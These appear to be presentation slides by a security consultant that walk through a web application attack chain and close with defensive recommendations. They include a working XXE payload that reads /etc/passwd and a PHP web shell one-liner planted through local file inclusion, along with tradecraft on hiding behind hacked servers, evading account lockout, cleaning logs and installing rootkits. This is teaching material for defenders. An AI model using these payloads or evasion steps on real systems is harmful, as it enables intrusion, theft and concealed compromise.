Web Application Attacks in practice

 

Or how the real application attack looks like

• Long term IT security guy, founder of IT security hacking companies (Nethemba SK/AT, Hacktrophy) & contemporary art (Satori)
• Cryptoanarchist & voluntaryist focused on technology and society hacking
• Co-founder of Bratislava's and Prague's hackerspaces (Progressbar & Paralelni Polis)
• Member of Czech contemporary artistic group Ztohoven

• Achieving anonymity
• Username enumeration, password bruteforcing
• Exploiting of the server side vulnerabilities
• Cracking the hashes
• Local root escalation
• Cleaning the traces
• Backdooring

To achieve the maximum anonymity, the attacker has various choices:

• Buy an anonymous VPN or anonymous proxies using BTC/LTC or prepaid credit cards (cash4web, blesk penezenka)

• Use Tor/I2P anonymization networks

• Hack any Internet vulnerable server (there are millions, use Shodan)

• Use anonymous shell accounts (freeshell.eu)

ACHIEVING ANONYMITY

The attacker has to be aware of

• Sanitizing its “browser footprint” (https://panopticlick.eff.org/)
• DNS leaks (using TOR internal DNS resolver)
• Traffic analysis (Traffic Confirmation attack)
• Eavesdropping by Tor exit nodes

• The application is vulnerable to username enumeration (= different application's response where valid login and invalid password and invalid login and invalid password are provided)
• It can be even time difference (just in few milliseconds)
• Can be automatized using BurpSuite / wfuzz

 

Note: We have no credentials, no logins, no passwords - let's find existing ones using the wordlist of commonly used English usernames

• We have valid logins - it is a time to brute-force passwords
• The problem is the account is suspended for a defined time period after 3 incorrect passwords, so let's use in-breadth search instead of in-depth search (most applications are unable to detect it) – login1, password1, login2, password2, login3, password3, etc.) (hydra -u)
• Multiple IP addresses can be used (Tor exit nodes)

• SQL injections still work (and will until we have PHP applications)
• Unrestricted file upload (very dangerous)
• XXE/XML injections (SSRF bible. Cheatsheet)
• Sensitive content / additional functionality in DocumentRoot

Naive XML parsers that blindly interpret the DTD of the user supplied XML documents

Let's try to construct the injection string:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [  

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Potential Impact:

• Local file access
• SSRF and remote file includes
• Denial of Service
• Possible remote code execution

The attacker is mainly interested in:

• Any sensitive information (credit card numbers, cryptocurrency wallets, usernames, passwords, certificates, keys, ..)
• Administrator/root passwords / hashes (in order to escalate his privileges, access to admin web interface or gain full database access)
• Anything that can be sold on black markets :)

Hashes are invaluable source for the attacker doing cracking by using:

• Big word-lists/dictionaries
• Brute-forcing (this can be very time consuming, fast GPU is used)
• Offline or online rainbow tables (for all hashes which do not use salt including DES, LM, NTLM, MD5, SHA1, SHA256, SHA512, ...)

Gaining the privileges of local user (apache, www-data, webuser):

• Mostly by unrestricted file upload vulnerability
• Using SQL statements (execute privileges or reading/writing local files or run own system commands)
• Using TCP/Unix sockets (symlink races)

Gaining the privileges of root:

• Local root exploit (many Linux systems are unpatched for many months/years)
• Vulnerability in any service with root privileges
• Configuration issues (cron / sudo / ..)

Care about your kernel and local system security

(e.g. use on-the fly kernel patching)

• After the successful attack, web server / WAF /IPS / IDS logs are full of SQL injection / any exploitation attempts
• When the attacker gains local root/admin, it is usually easy to clean his traces (modify web server / WAF / IPS / IDS logs, remove suspicious entries from the database, ...)
• Always use remote logging / store logs to write-once medium

• Nowadays, the best way of backdooring is to use LKM rootkits  – they are stealthy, non-detectable, and completely immune against file-system checksums/hashing (like Tripwire)
• Compromised server can be used as another attacker proxy, for ransomware distribution, or sold as a part of botnet on the hacker's blackmarket

• Security should be always “multi-layered”, the attacker almost always exploits the weakest chain
• Write secure code, validate all inputs / outputs, prefer whitelisting instead of blacklisting, use 3rd layered database architecture
• Care about your local system security
• Security audits and penetrations tests should be an inevitable part of SDLC (contact your penetration testing company)
• Submit your application to the bug bounty program

• Parameter lang is not correctly handled
• Filtering regexp is applied, but not recursively!
• We can include any file (!)

• Is there any file on the filesystem we have control over its content?
• Yes, there is! PHP Session /var/lib/php/sessions/sess_XXXXX
• Let's read it

• Let's run any system command!
• Let's put there
• <?php system($_REQUEST[cmd]); ?>

• And let's backdoor the system!
• Weevely3 is used

 

Thank you!

pavol.luptak@nethemba.com